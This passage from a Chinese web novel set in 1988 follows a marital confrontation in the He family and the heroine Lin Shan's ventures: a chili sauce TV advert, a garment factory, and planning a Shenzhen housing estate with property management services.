张秀英心不在焉地吃完饭回到家，正想找个地方冷静一下，发现贺振华又在批评她儿子了。一会儿说他工作态度不好，一会儿又说他自以为是，听得张秀英火烧到了脑门。 洗了个澡出来都没冷静，幸好贺振华已经不再骂她儿子了，张秀英本来想去书房跟他说两句话，结果听见他正在偷偷打电话。 电话那头是谁连问都不用问，这种柔和到有点儿低三下气的语气，除了对着姜春荣，就是他老爹，贺振华都没用过！ 当过他秘书的张秀英一清二楚，顿时多年的积怨再也忍不住了，她猛得一把推开房门，当着贺振华的面，把准备给他的那杯茶，狠狠地摔在了地上。 电话那头的姜春荣刚回家就接到了贺振华的电话，两人才刚说几句场面话，就听见听筒里传来了响声，“怎么了？” 贺振华冷冷地看着张秀英，对电话那头说：“没事儿，你回来就好。早点儿休息吧。” “……行，谢谢领导关怀。” 贺振华扯了下嘴角，“回头再联系。” 姜春荣“嗯”了一声，挂断了电话。 贺振华把听筒放回去，冷声质问张秀英：“你这是干什么？” “不干什么，我就是想问问你，这么多年了，你把我当什么了？”张秀英强忍着怒火，颤抖着质问贺振华，“姜春荣前脚刚回来，你后脚电话就打过去了？这么上赶着你不嫌丢人？！” 贺振华怒气暴涨，厉声斥责她：“你真是不知所谓！” “我不知所谓？我看你才鬼迷心窍！我有哪点儿比不上姜春荣！你是不是忘了人家怎么一脚踹得你了？！这么多年风风雨云是谁陪你过来的？！你对得起我吗贺振华！”张秀英边骂边哭，一副真心全被狗吃了的凄惨模样。 贺振华冷冷地看着她，怒气已经抵达胸口，控制了又控制，不明白当初自己是怎么被蒙蔽了眼睛，会觉得张秀英是个善良单纯的姑娘。 “你说！贺振华！你说你对得起我吗！呜呜呜……”张秀英最恨贺振华这种冷漠的表情，她今天说什么都要得到一个说法！ 贺振华怒极反笑，笑自己真蠢。 张秀英瞬间失控暴怒，“我这么可笑吗？！好，我现在就去找姜春荣！我去问问她我是不是特别可笑，也顺便问问她为什么离婚了，还要缠着别人的丈夫！” “张秀英！”贺振华一把拉住她，怒斥道：“就凭当年你做的那些事儿，姜春荣不计前嫌还跟咱们说话，已经够大度了，你还有脸见她？” 第136章 第136章 广告做好了 张秀英瞬间僵在原地, 难以置信地看着贺振华，跟着像是被什么击垮了似的，滑落到地上抱头痛哭。 贺振华把书房门关上, 任由她发泄。 当年姜春荣跟贺振华的婚姻出现问题，时任贺振华秘书的张秀英, 借机对领导各种嘘寒问暖，并在他喝醉的时候, 爬上了他的床，睡在了他旁边。虽然睡得半死的贺振华什么都不知道, 也什么都没发生, 但是人家黄花大姑娘跟你共处一个被窝睡了一晚，你说这可怎么办。 尤其人家姑娘还楚楚可怜地说：是领导你硬拉我上去的。 虽然多年后贺振华已经猜到了那晚的真实情形, 但是在事发时的时候, 他是真以为自己犯了大错。于是就找姜春荣坦白了, 没多久两人离了婚，他隔了一年半也对张秀英负起了责任。 再婚后没多久, 每一次只要贺振华回父母那儿看贺正岩, 张秀英都要紧跟着, 只要跟姜春荣多说几句话，她就会借口过来叫人。 姜春荣每次都笑笑不说话，贺振华当时以为张秀英只是小姑娘吃醋的心性，没有过多的往心里去。直到多年后，他才从自己亲妹妹嘴里知道, 原来在他跟姜春荣协调离婚期间, 张秀英找过姜春荣好几次，每次都哭哭啼啼的，说自己没法儿活了。 贺振华就是在这一点一滴中, 拼凑出了当年那晚的真相。当时那个时空背景，如果他知道事情的真相，是打死也不会接受张秀英的。即使事情闹大，即使他要吃牢饭也在所不惜。 可惜物是人非，等他明白过来的时候，贺启明已经大了，张秀英这么多年也做得不错。能往前走的情况下，再去追究过去的事儿又有什么意义呢。 再说都这个岁数了，启明也这么大了，过去的就过去吧。 他只是没想到张秀英竟然越老越糊涂了，非要逼得人把那层谁都不想戳破的窗户纸撕下去。 张秀英听着贺振华说着当年的点点滴滴，除了哭就是哭，丢人、嫉妒、难过、愤怒，所有的情绪堆积在胸口，让活了大半辈子的她，无地自容，精神几近崩溃。 门外，一直躲在旁边偷听的贺启明，崩溃得比他妈还厉害。他没想到自己敬仰的母亲，居然能做出这种是事情来。没想到自己最亲爱的妈妈，竟然是父亲家庭的破坏者。而他自己，好像是一个不应该出现的人。 怪不得爷爷奶奶姑姑叔叔都不喜欢自己，怪不得他们都更看重大哥。 贺启明心里难受憋屈，但莫名的竟然又多了一种释然，原来不被看好，不是我真得不够好，而是上一辈的错。 贺家上演着情感大戏，林珊回去后还得写作业。 最近全国高校又组织了一场计算机比赛，学校想让她参加，林珊想着参加完正好名正言顺请假去粤城。所以要潜下心来忙一阵学校的事情了。 进入五月后，京市这边部队的改革工作基本完成，贺正岩被派去辅助地方部队完成改革了。地方不如在京市方便，他交代了林珊一系列注意事项后，又让姜春荣别只顾着工作不休息，请她们两个人多相互照顾一下，有事儿找顾康和卢学军。 林珊敬礼保证一定办到，姜春 荣也学她敬礼，弄得贺正岩是哭笑不得。 姜春荣新单位分的房，离清大居然比科研所的房子还近，所以林珊一有空就会去找她，俩人聊聊天，做做饭，再一起打打排球，小日子过得非常惬意。 由于辣椒酱广告做好之后，林珊要对全国的观众进行轰炸，所以在这之前，她请沈丹帮忙跟电视台的人牵了一下线。 这年头1套的电视广告，还不是后世的天价，林珊制作的广告是30秒。由于不同的时段价格不等，她果断选择了，这个时期最新形式的黄金档电视剧冠名广告。 30秒的广告，连续在一部20集电视连续剧中播放20天，找了熟人也要4万8千元。林珊算了算广告做出来的时间，看了下台里那几部备播电视剧的名单，当即就决定即使等一等，她要把广告冠在《末代皇帝》上。 《末代皇帝》是1988年的电视剧收拾冠军，收视率最高达到70%。这种数字，在后世是完全不敢想象的。但是这跟90年创下98%收视率的《渴望》，还是不能比。只可惜现在还不到时候，不然林珊一定冠《渴望》上。 初步签下合约，定了计划后，就只等广告片完成送过去审批了。 五月下旬的时候，林珊不出意外地再次获得了计算机比赛的全国第一名，老师们对她要请两个礼拜假的事情，已经非常淡定了，大字一批就放人走了。 粤城那边刘灿荣已经把样片做好了，只等她最后拍板。服装厂也正式开始施工了。办完粤城的事，林珊还要跟着郭广发和累雷生金去一趟深城。 房地产公司注册好了，她的首批资金也已经到位，是时候亲眼踏上特区的土地去看看了。 这次去粤城，除了李娜兄妹，林珊把赵桂花也带上了。最近她没那么忙，再加上王家也找了个亲戚婶子帮忙带孩子，林红完全能看好安河的那一摊子。 赵桂花以前都是去火车站接人，这回要自己坐，还是去那么远的粤城，激动得半宿没睡着。这导致她上火车后，前一秒还在不停地跟林珊他们热聊，下一秒脑袋一歪就打起了瞌睡。 这一路有了赵桂花热闹非凡，说说笑笑吃吃睡睡，粤城很快就到了。临下火车时，赵桂花还感慨：“挺快的啊，也不怎么受罪。” 林珊笑了，下回让她坐个硬座，甚至站票，就知道有多难受了。 因为见识过了京市的壮阔，粤城火车站的场面就没怎么震惊到赵桂花，不过她还是悄悄对林珊说：“这地方人真大胆，裙子都穿这么短。” 林珊跟她解释了一下，除了风气比较开放之外，确实也因为夏天天气非常炎热。 赵桂花听明白了，再看一身短裤配无袖T恤的阿英，也觉得不像不正经的人了。再说了，能被她家闺女看上的合作对象，肯定错不了。 果然，上车之后跟阿英多聊了几句，发现两人竟然有不少共同话题，都非常爱做衣服！赵桂英后来还一直跟林珊说：“这小姑娘真爽快，真招人喜欢。” 林珊挺开心俩人合得来，他们一行人再次在雷家的盛情邀约下，住进了阿英的小院儿。林珊照旧准备了京市和安河的特产，还有自家的辣椒酱当礼。 阿英说上回那辣椒酱没吃多久就没了，这回林珊就多给她带了一些。 次日去广告公司看片的时候，阿英实在是过于好奇，也要跟着去。路上还说要是她们的衣服也能上电视就好了。 林珊表示：“以后都会有的。” 不仅有广告，还要赞助各种活动，什么模特大赛，什么明星活动，通通都要有。 阿英听得无限憧憬，恨不得自家的服装厂现在就能盖好。 广告公司的刘灿荣早早就等在门口了，从接到林珊的电话起，他就已经迫不及待了。这广告片做得太好了，他迫不及待地想让顾客看见，更迫不及待地想看见这片子上电视！ 等林珊一行人一到，负责招待的小姑娘茶水还没上，他就想直接拉人去看样片了。林珊跟他一样心切，当下就跟了过去。 放录像带的房间不大，机器也小小的，一堆人围在小屏幕面前，等着画面播放。 画面一开始，古色古香的街道就把大家带到了上个世纪，叫卖辣椒酱的音乐一响起，两个可爱的小孩子便急匆匆让妈妈去买酱了，跟着画面穿插熬酱的画面，红彤彤的辣椒、肥美的肉粒、饱满的香菇，还有各种辛香料通通倒入锅中，熬呀熬呀熬，小孩子们流口水，大人们纷纷买酱，一时间铺子热闹又温馨，最后场景一换，温馨的小屋里，一家四口坐在一起吃饭，哥哥吃馒头配辣椒酱，妹妹吃面配香菇肉酱，几秒钟的镜头，实物特写有，所有人脸上幸福的表情也有。最后画面一定格，两瓶玻璃罐包装的林爱国辣椒酱和肉酱，显示在屏幕上。 制作水准非常高，全程还有画外音以长大之后的小女孩为视角，简述自己童年的回忆，温馨又动人。同时还有“天下好食材，融进一罐酱”这样的顺口词。 林珊非常满意，满意得想鼓掌，他们不但完美得展现了构思，而且制作水准大大超出预期！ 赵桂花啪啪啪地替她鼓着掌，激动地眼含热泪，“太好看了！太好看了！林爱国辣椒酱！咱上电视了！你哥上电视了！” 林珊搂住赵桂花的肩膀安慰她，对刘灿荣竖起了大拇指：“你们太有才了，我非常满意！” 刘灿荣笑得合不拢嘴，他自己也非常满意，但还是实事求是地说：“都是林老板的想法好，不然我们也做不出来的。” 林珊笑着伸出手：“合作愉快。” “合作愉快。” 阿英盯着屏幕，笑道：“这酱怎么看着比我吃到的更好吃啊！” 林珊乐了，食品广告，可不就得勾起人的食欲嘛。八十年代广告少，所以看着才稀罕，等以后看多了，就吸引不了眼球了。 林珊笑着对刘灿荣说：“刘经理，以后我们再找你做广告，可不好涨得太厉害哦。” 刘灿荣乐得眼睛眯成了一条缝儿，“那当然，那当然，以后还要多仰仗林老板照顾我们的生意。” 开心聊完，几人又来回多看了几遍广告，确认一切无误后，最终定带。 回去的路上，阿英已经有点儿被洗脑了，不但一直哼哼那首广告曲，还念叨了两句：“天下好食材，融进一罐酱。林爱国辣椒酱，舌尖中国香。” 第137章 第137章 深城特区 广告制作的事情搞定之后, 林珊一到雷家就打了个电话给赵福，让他准备加大生产。原料要供应上，车队要安排好, 货运也要提前跟人家谈好合作，总之准备工作很多, 这一阵子要辛苦食品公司的同仁了。 广告上了销量势必会大增，必须提前把货备得足足的。 《末代皇帝》九月开播, 他们还有三个月的时间做准备。 赵桂花得知做广告跟买电视台的时间花了那么多钱之后，一直喊着心肝疼。林珊悄悄问她：“那房地产的钱更多, 你怎么不说心肝疼了。” 赵桂花白她一眼, “那能一样吗？你们弄那个房地产，不是有地皮吗, 而且还要盖房子, 都是实打实的东西。这个什么广告就那么一小会儿, 就要这么多钱，你出去问问谁不心疼？” 林珊笑了, “放心吧, 这广告的效果绝对远远大于咱花的钱。” 赵桂花肯定是相信闺女的, 她就是纯心疼钱。 办完了正事儿还有时间，林珊就带着她跟李娜兄妹俩一块儿逛了逛。阿英是个特别好的向导，粤城哪儿值得看，哪儿不值得看，她最清楚不过了。 越秀公园和沙面岛是她比较推荐的, 其他就没必要了。 林珊上辈子对粤城不陌生, 也知道后世那些著名的 景点，很多在这个时候都还没有开始兴建或者大规模修整，越秀公园跟沙面岛她上辈子都逛过, 还真有点儿想看看这中间的区别。 再加上这两个地方离得不远，正好能一气儿都给参观了。 赵桂花对越秀公园的震撼不大，毕竟也是逛过皇家园林的人了，不过一来到沙面岛，她嘴巴就张大了，不停地感慨这里的楼看着可真洋气啊。 再一听阿英和林珊说这里以前是英国跟法国的租借地，从头到脚都红彤彤的赵桂花立刻“呲”了起来，把所有外国佬都骂了一遍。 之前在林珊带她在京市逛的时候，路过东交民巷，顺便给她讲了一下那条街见证过的历史，赵桂花更是气得从清朝直接骂到了民国。 不过桂花女士骂归骂，丝毫没有影响半点逛街的兴致，看见什么都挺稀罕，还一直悄悄戳林珊，“你们那个房地产要是也能把房子盖成这样，咱肯定挣大钱。” 林珊笑了，她对房子怎么建确实有些构思，就等着过两天去深城之后，大家详谈了。 次日，一行人开车去服装厂查看施工现场。 服装厂目前进行到了给厂房盖地基的阶段，现场的一切都在井然有序的进行中。陈广志热得满头大汗，一会儿跟搬砖的小哥说两句话，一会儿提醒架子上的同村注意安全，一会儿又赶忙让人把林珊他们带来的冰棍分给大家。 林珊简单逛了一圈，看了看陈广志提供的账本，发现他账记得非常清楚规矩，砖块水泥沙土木头等等，一切建材都记得明明白白，精确到了小数点后两位。 阿英那儿也有本账，林珊倒不怕他私吞什么的，毕竟是考察过人品的。而且这工地上的茶水和香烟，一看就是陈广志自己出钱弄的，因为账本里一分钱都没记过这些东西。 林珊让他以后这些花销都记账里，陈广志笑着摇头：“不用不用，这没几个钱。”说罢不等林珊再说，他就忙去了。 服装厂的进度其实已经有些超前了，这里头除了陈广志的功劳，阿英也功不可没，她几乎每天都要过来看一圈，生怕哪个地方出差错。 雷生金还跟林珊说，他就没见过这孩子这么用心过。 林珊狠狠表扬了阿英一番，还做东请她吃了顿洋饭。外国菜就吃个新鲜，偶尔一次还是很不错的。 赵桂花第一次进西餐厅，林珊本来以为她用刀叉会很别扭，结果她一看就学会了，三两下就把那一盘牛排都给切好了，然后拿着叉子挨个儿叉着吃，边吃还边说：“这肉真不错。” 林珊笑了，李娜跟李国超也学着桂花女士，哐哐一顿切。 阿英小声说：“外国人切一块吃一块，还不让刀叉出声，真的有点别扭，要不是味道确实好吃，我肯定不来。” 林珊：“一个地方一个习惯嘛。” 西餐厅人少又安静，大家伙这顿饭吃得都有些收着，肚子是饱了，话没说够，用赵桂花的话来评价：“遭了趟洋罪。” 林珊笑着问她：“那以后再有这种场子，还叫上你不？” 赵桂花：“叫！虽然不能好好说话，但是人家做得那些东西都好吃，屋里弄得也非常洋气，多长见识啊！” 家人哈哈笑，结束了在粤城的这顿洋大餐。 次日，林珊一行人要跟随雷生金和郭广发，出发去深城。 这年头去深城还要办理边防证，郭家老二郭广盛早帮他们都搞定了。因为人多，路途就只有一百多公里，所以这次出行他们决定开车。 两个小时的车程，大家有说有笑的，很快就到了。 这个时候的深城远没有粤城发达，除了已经开发过的区域，其他地方还是一副比较荒凉的景象。赵桂花跟李娜他们也从一开始的无比期待，到略微失落。 林珊倒是看得无比兴奋，满脑子都是这片地好，将来可都是商务区，那片地好，豪华住宅上亿一套。车子每驶过一个地方，林珊都在认路，不断的跟后世的地图作对比。 赵桂花不明白她在激动个啥，悄悄问了一句。 林珊笑道：“没盖房子才好，要都盖满了就轮不到咱挣钱了。” 赵桂花想想可不就是这个道理吗，顿时觉得自家闺女就是聪明。 郭家老二郭广盛在深城除了有一家贸易公司外，还开了个小旅馆。他家孩子多，地方不够住，所以就安排大家住旅馆里。 正好旅馆离新注册的“荣发房地产公司”也近，方便大家谈事。 “荣发”这名字是大家一致决定的，雷生金找人算过，叫这个除了听着吉利，五行也非常合适。 郭有财自从上次来了粤城之后，就没回安河，转战到深城之后，一直在这边主持大局，目前公司已经注册好了，办公地点找到了，基础员工也找齐了，就差大家过来商讨下一步的事情了。 见到郭有财，林珊刚跟他聊上两句天，对方就递过来一个盒子，“就你不方便联系，用这个以后好找你。” 林珊看着箱子上明晃晃的“寻呼机”三个大字，瞬间惊喜得不行，“太好了爷爷！我正想买一个呢！谢谢谢谢！” 这时候的寻呼机可不便宜，林珊立刻掏钱给他，结果被郭有财一把推开了，“行了行了，家里自己进的货，又不贵。回去之后办个号儿就妥了，知道怎么用吗？” “知道。”后世电视里看见过。基本上就是BP 机一响，就代表有人呼你，然后再找地方给屏幕上显示的号码回过去电话就行了。 郭有财见她懂，就没再啰嗦。 林珊悄悄向郭广盛训问了一下价格，直接又定了两台。赵福一个，闫超一个，他俩需要每天到处奔波，有了呼机方便随时联系。 来了深城还没开谈正事，倒是先买上了寻呼机。 “荣发房地产公司”的办公地点，跟郭广盛的贸易公司在同一栋楼里的同一层。三楼一共就这么两家公司，倒是方便他平时管理。 郭家在深城的这个贸易公司可不小，业务看着也挺繁忙。林珊觉得郭有财之前想转行干别的，应该就是在未雨绸缪，而不是他家这摊子买卖真干不下去了。 郭家老大郭广昌也来了，雷生金这次来的时候也带着自己的大儿子，一时间“荣发房地产”公司，挤满了合伙人。 这次开会林珊没让赵桂花和李娜兄妹参与，郭有财让人陪他们出去逛逛，看看有没有什么想买的。 “荣发”第一次所谓的股东大会，由郭广盛主持工作。他把房地产公司的员工组成情况，简单介绍了一下之后，就开始说明项目进展。 由于这个时期还没有建立人防和消防之类的审批机制，所以地皮拿下来之后，是可以直接走规划设计这一步的，等大致的规划方案一出，再去申请报建登记，跟着是确定勘察和设计单位。 目前郭广盛已经找好了勘查和设计单位，《施工许可证》过两天也要下来了。所以现在需要把大家请过来，进一步跟设计师确定设计图纸，跟施工承包商见见面。 设计团队是郭广发从港城请过来的，价格不菲，设计出来的图纸也确实比现在市面上那些单位楼房要好多了，除了房子格局板正外，小区规划也非 常不错有山有树又有水，还没有占用过多的面积。 其他人都觉得这设计新颖好看，林珊自然也觉得不错。只是唯一一点，她想看看能不能把这屁大点儿的小人工湖去掉，再加上点面积做一个活动小广场。 “有湖风水好，这都是算过的，阿珊姑娘。”雷生金怕她年纪小不懂风水，给她解释了一下粤省人有多在乎风水这件事。 林珊不懂风水，却也信风水，不过她更担心这一小湖死水会招多少蚊虫，尤其深城的气候简直就是各类蚊虫的天堂。维护成本高不说，还要担心小孩子掉下去。真出个什么事儿，恐怕才是最破坏风水的。 尤其这个年代的人，根本没有什么“看孩子”的意识。只要到了能跑能跳的年纪，谁家的孩子不是在外头野着玩儿的。 第138章 第138章 房地产公司 “你说得这个, 倒是也挺有道理。”郭有财思考了一下，觉得还真是这么回事儿。真出个意外，人家不得闹翻天, 房子还卖不卖了。 “那你这个活动小广场是什么意思，盖个操场？”雷生金有点儿好奇, 除了那些机关单位的家属院，谁会花钱盖操场啊。房子都不够分了, 还弄出块儿空地搞那个。港商前两年盖的那些房子，也没有操场, 甚至连树都少得可怜。 林珊解释了一下小广场的想法, 其实留出那一小块空地，盖上几个石凳, 正好趁着树荫, 孩子们能玩耍, 大人们能聊天。 要是后世的话，再搞几个户外公共健身器材, 是特别常见的配置。不过这年头没那个, 孩子们玩得那些东西, 像什么跳皮筋、踢毽子、打弹珠、捉迷藏之类的，也都只需要一片空地而已。 要是预算充足，能再盖个小亭子就更好不过了。而且最关键的是，这片地离住房有一定的距离，大家在这片区域活动也不怕吵着其他住户。 这年头的小区除了好看, 也要实用。即使他们定位为高档小区, 也不能不接地气。 林珊解释完小广场的作用后，大家都觉得这样也不错，还能省些钱, 毕竟挖湖和弄假山可要不少花钱。 港城来的设计师很专业，听完他们的想法后，立刻答应马上再设计美化一下这个小广场。 小广场的事情定下来之后，郭有财又问林珊对房屋内部的格局有没有什么想法。 林珊觉得这设计本身就非常好，厨房厕所的空间都不小，客厅也是正儿八经的客厅，不是那种九十年代楼房的宽过道客厅，房间虽然比目前一般单位的面积小了一些，但是空间就这么多，总得有取舍。 实在没必要学一些单位把房间设计的巨大，什么都在房间活动，完全没有客厅的格局。 不过就算是没有普通单位的房间大，但跟后世那些连衣柜和梳妆台都放不下的卧室相比，简直就是巨卧了。 总之，作为一个在后世生活过的人，林珊对自家“富景丽苑”的房子格局非常满意。 是的，“荣发房地产”公司的第一个小区名叫“富景丽苑”，同样是雷生金找大师算过的。“富景丽苑”一期共四栋楼，建筑面积在80-95平方米，套内面积67-78平方米。 剩下一半的土地为二期建设用，早在规划最初，林珊就建议要分一二期。这么做最主要的是对资金和风险的控制，当然也考虑到了一些经济飞速发展的状况。 一块儿地搁着不动，十几二十年后赚的钱会比盖成房子卖出去，挣得更多。毕竟后世那著名的李姓港商就是这么干的。捂地十六年，净赚38亿。 李港商早年拍下了大量核心地盘的土地，然后放着不开发，干等着它涨价，什么都不用做，就比旁边那些花了大价钱盖房子的房地产商挣得多得多。此人在大陆的生意模式基本遵循了囤地+升值+套现的套路，当然，最后还要再加一个资产转移至境外。 之前有关土地方面的法律法规不健全，即使规定了拍下地皮后最多可以闲置两年不开发，超过两年，政府就有权无偿收回土地的使用权，还是照样挡不住人家的操作。我假装起个台子不就行了？假装在开发，假装在建设，然后继续放着不动。 直到后来继续完善了这方面的相关法规之后，此人才开始纷纷抛售地皮。不过那时，地价已经翻了几十上百倍咯。 林珊建议公司分一二期，可不是为了捂地，纯粹是他们所有人手里能流动的钱，实在有限，最保险的是先盖四栋楼。然后等公司利润回收，或者上市之后，再建设二期。 如果这期间地皮升职，那也是一个美好的副作用。毕竟飞速发展的过程中，一切东西的价格都在上涨。 林珊之前拜托郭广盛调查过补偿贸易时期港商盖的房子，得到的结论是极其普通，成本还控制得极低，质量不算上乘。虽然觉得对方不足为惧，郭广盛还是又调查了一下李姓港商的进展。 毕竟李港商拍的地皮离他们很近，万一人家财大气粗找人特别设计一下，或者花了大价钱，他们可就太被动了。 不过得到的结果令人非常安心，对方一动没动，看着像是暂时还没有找设计和施工队的打算。 林珊之前听到这个事情的事后，就在心里唾弃了这个人一番。不管时空环境如何变化，这人做事的方式方法，好像并没有什么太大的区别。 股东们谈了半天，初步确定了设计图纸后，就到了跟施工团队见面的时候。郭家和雷家之前筛选了几遍，才定下现在的施工方。 施工团队的胡老板，干建筑有些年头的，公家的私人的全干过，早几年他自己还偷偷跑去港城干过活，经验和阅历都非常丰富。房地产公司所在的这栋办公楼，就是他公司盖的，技术和品质都没的说。 胡老板给了郭家一个友情价，所有人都非常满意。 由于八十年代新房在交付的时候，都是直接可以入住的。这个时候空房的概念，跟后世的毛坯房是不一样的。所以在盖完之后，除了水电之类的，还需要对房屋进行简单的“装修”，达到可以直接搬进来住的标准。 毕竟这年头很少有老百姓会找装修队去装修房子，自然也就不会买那种到处都是水泥墙的毛坯房了。 不过随着发展，进入九十年代中期，自己装修的人就多了。这也是后世楼盘为什么提供毛坯房的原因，既能减少成本，又能缩短工期，业主也没必要再花重新铲墙皮的钱。 施工方面的事情林珊不是很懂，所以全程在听郭、雷两家人跟对方沟通，她之前知道盖房子很麻烦，没想到这里头的细节居然这么多，她虽然也装修过不少铺子了，但那跟盖房完全不是一个概念。 不到半天的时间，她特意准备的空白小本本就记了一大堆东西。 几人谈着施工的问题，不知不觉天色都已经黑了。由于还有一大堆后续事情没谈到，所以第二天还要再开一个股东大会。 次日的会上，大家主要谈了一下公司的管理以及房子建成后发展方向。 “荣发房地产公司”的人员构成基本主要由郭家人操办，雷生金只找了个财务过来参与，林珊则是谁都没派。倒不是因为她的股份少，所以人家不让她参与，纯粹是没必要现在深城找个人帮她看着人家。 先不提各自为人如何，到目前为止公司所有的账都一清二楚，每一笔开销都记录在案，真账和假账行家看一眼就知道，再加上雷家那边也派了人，除非两家想联手骗她，否则没那么容易出事儿。 而且林珊知道，人家也不是真看上她那些还要分期的入股钱，才让她加入的。不为钱让你进来，然后再坑你的钱？这事儿逻辑上就不通。 所以林珊当时就拒绝了郭家让她派人加入公司的提议。更不用说都相处这么久了，谁什么人品都很清楚，既然上了一条船就要相信对方。这种都大家都出钱的合作，跟她出钱别人出力的合作是不太一样的。不能凡事都按一个方法来处理。 管理方面林珊毫无异议，对于房子建成后发展方向，她倒是有些自己的看法。 郭家老大郭广昌提出的销售方案非常好，林珊知道这是他从港城那边调 查得来的，在这个年代来说特别新颖，对于他提出的物业管理概念，更是举双手赞成。 弄得几人一时都不明白，她为什么对看大门和收水费的事儿这么激动。 林珊正好借着这个话题，把自己对公司要树立的品牌理念说了出来，“……所以，我们要为普通人提供好产品、好服务，满足人民对美好生活的需求。” 所有人听得一愣一愣，郭有财率先回过味儿来，“你是说除了卖房子，咱还要卖服务？” “对，就是广昌叔刚才提到的物业管理。我们不仅要看大门、收水费，生活中的一切服务我们都要提供，卫生、安全，灯泡坏了立刻换新的，谁家需要维修，立刻派人去，收垃圾倒垃圾，扫地擦玻璃，节假日装扮等等，所有能想到的，咱们都提供服务。” 郭广盛摸着下巴算账，“这么干咱得赔钱。” 郭广昌笑着说：“收钱啊，物业管理费。”港城就是这样的，不过她没想到林珊这小丫头不但知道物业，还能想得这么细致。他们要是真能做到这些，绝对能把其他地产商都干趴下。 林珊解释了一下，“对，所以咱们要再注册一个‘荣发物业管理公司’，物业管理费按平方收，保证提供最优质的服务，把小区打造成最美好的家园。” “按平方收？人家恐怕不愿意掏啊。”雷生金担心这个，他自己将心比心，买了房你让我再掏钱，我可得好好问问你为什么了，我要是不想要你那服务呢。 郭广昌：“不会的，港城人都交，不交还得被告。” “呵，这就有些霸道了。”雷生金摇头。 林珊明白业主和物业之间一直是一种很复杂的关系。没有矛盾的时候，业主都还会觉得服务一般，物业费交得那叫一个心不甘情不愿，更别有矛盾之后了。 不过即使业主不用专业的物业公司，也总要有一批人来维护小区运营的。不然两天垃圾就成堆，东西坏了没人管，各色人员都能出入，安全得不到保障。 后世确实那有极个别的物业公司，活儿不好好干，人却横得要命，胆子大得连业主都敢打。不过那真的是极少数。 物业是时代发展的大趋势，一个好的楼盘必须提供足够优良的物业服务才行。 第139章 第139章 发展物业 “所以既然物业是发展的大势所趋, 咱们看到了先机就不能不去做准备，而且为了跟其他地产商分开档次，咱们要提供一种跟别人完全不一样的服务。”林珊把自己准备好的初步物业管理构思, 递给大家看。 “咱们的楼盘是高端楼盘，定价高, 面向的是高收入人群，所以提供最优质的环境和服务是必须的。不想多花钱是人的本性, 咱们不仅要卖楼，更要售卖一种生活方式, 一种入住‘富景丽苑’, 就跟进入世外桃源一样的舒心惬意，再也不用操任何心, 一切都有人为你服务的品牌理念。用最优秀的服务, 让业主们觉得这钱花得值。” 几人看着这一条条的物业管理内容, 那句“全心全意全为您”的服务宗旨，还有那24小时全天守候管家式服务, 渐渐开始觉得, 这钱好像也不是不能花。 雷生金笑道：“要是谁能做到这个样子, 我肯定愿意花钱。广昌，港城就是这个样子的？” 郭广昌摇头：“差远了，很多管理员见人都爱答不理的，还给你24小时服务呢？看个夜班大门都睡得呼呼响。这还是比较高档的大楼，低层次的就更差劲了, 连个管理员的人影都见不到, 照样要收管理费。” 雷生金懂了，感叹港城物业服务恶霸的同时，满脸地赞赏看向林珊：“看看, 我们清大的高材生就是不一样！这物业要是真弄成了，咱们‘富景丽苑’就是独一份啊！” “那可不嘛。”几人纷纷赞同，越想越觉得这物业的路子好。 郭广盛比较担心实际的问题：“这么多服务，那组建物业公司的活儿也不是个小事儿啊。” “是的，物业公司会是一块儿非常大的业务。如果做得好，将来还能为其他企事业单位提供服务。收入非常可观。”林珊知道后世很多物业公司，都是住宅、商业、办公等多种类型的物业管理服务公司。 郭广盛点了点头，开始在纸上勾勾画画。 郭广发在一旁感叹道：“这里头都是门道啊，我看你写的，将来还可以为业主提供房屋出售和租赁的服务？这等于是什么钱都能挣啊。” 林珊笑了，这就是后世那些大房地产商做的事情。大家除了比谁的楼盘好，还要比谁的服务牛。不然怎么在波涛汹涌的房地产浪潮中脱颖而出。 接下来大家结合着林珊提出的品牌理念和服务宗旨，开始策划销售楼盘的事情，你一眼我一语，讨论得那叫一个热火朝天。等想法汇总的差不多之后，又开始讨论物业公司具体的操作适宜。 搞房地产的，往小了说是盖了房子让人买，往大了说其实是在他人创造幸福美好的生活。让业主住得放心安心舒心，比什么都重要。 郭有财好奇林珊写的这个“业主管理委员会”是什么，“每个楼一个楼长？还搞干部呢？” 林珊解释道：“这是为了更好的工作。” 其实大陆最早的业主管理委员会的诞生，就是小区物业为了更好的收管理费和解决问题，才想出找一部分有代表性的理性业主，坐在一起商讨方案的办法。 毕竟一家一户讨论事情的可行性非常低，有代表效率更高一些。而且业务会的诞生，能更好的维护业主的利益，促进物业的管理和发展。 对于那些只想着谋私利的物业来说，业委会自然是头疼的存在，但对于“全心全意为您服务”的物业来说，就是一种比较和谐的共事关系。 郭有财听完之后笑道：“所以这个业委会对咱来说是把双刃剑啊。” “是的。”林珊非常同意。 郭有财看了林珊一会儿，终于明白她年纪轻轻生意就能做这么大的原因了，懂得多是一方面，一颗要把人做好，把事做好的心，或许才是根本吧。 夜里回到家，他还在对三个儿子说这件事。原本对林珊的加入并不是特别理解的郭广盛，通过这两天的相处，也算是真正见识到了这小姑娘的厉害之处。老爹说的没错，的确是长江后浪推前浪啊。 林珊虽然有规划日后要开一家自己的房地产公司，但是在“荣发”这里，她并没有私藏任何上一辈子学到的知识。既然合作了，决定跟人家一块儿干，她就不会藏私心，把事情干成干好才是最要紧的。 至于以后自己房地产公司的发展，那又是另外一回事。她就算开，也不会在深城和粤城。国家这么大，可以容得下很多优秀的房地产公司。 “荣发”的业务发展，大家一共讨论了五天，才稍稍告一个段落。郭广盛破有点儿“路转粉”后的魔怔，见识到林珊的本事之后，就不想放她走了，一直聊个没完。 公司发展的大方向聊好之后，又开始问上市的事儿，林珊对上市也只知道一个基本流程，具体怎么操作还要参见这个时候的实际情况。 不过那些她认为不算专业的常识，在88年却是非常先进和新奇的。听得郭广盛直说：“小珊老板要是能留在深城该多好啊！” 林珊笑着谦虚了两句，“我还得上学。” 在深城的最后一天，林珊见了一下京市严建设老板为她拉好的线，看了看这位牛老板能弄到的机器。 郭广盛和郭广发两兄弟陪她一块儿去的，牛老板一见这场面，立刻小跑着过来寒暄，还一口一个哥的叫着郭家兄弟。看来深城干这行的，也是个小圈子啊。 牛老板的机器跟郭、雷两家能搞到的，没什么特别大的区别，只是牌子 不同而已，价格即使给了友情价，也不能郭、雷两家的骨折价相比。对雷生金来说，阿英是他亲闺女，他恨不得自己买了直接送给她们。 所以谈了一会儿之后，林珊就决定生意给自己人。 跟自己人买东西的好处多了，过程也不用担心，到时候交给阿英就可以搞定。 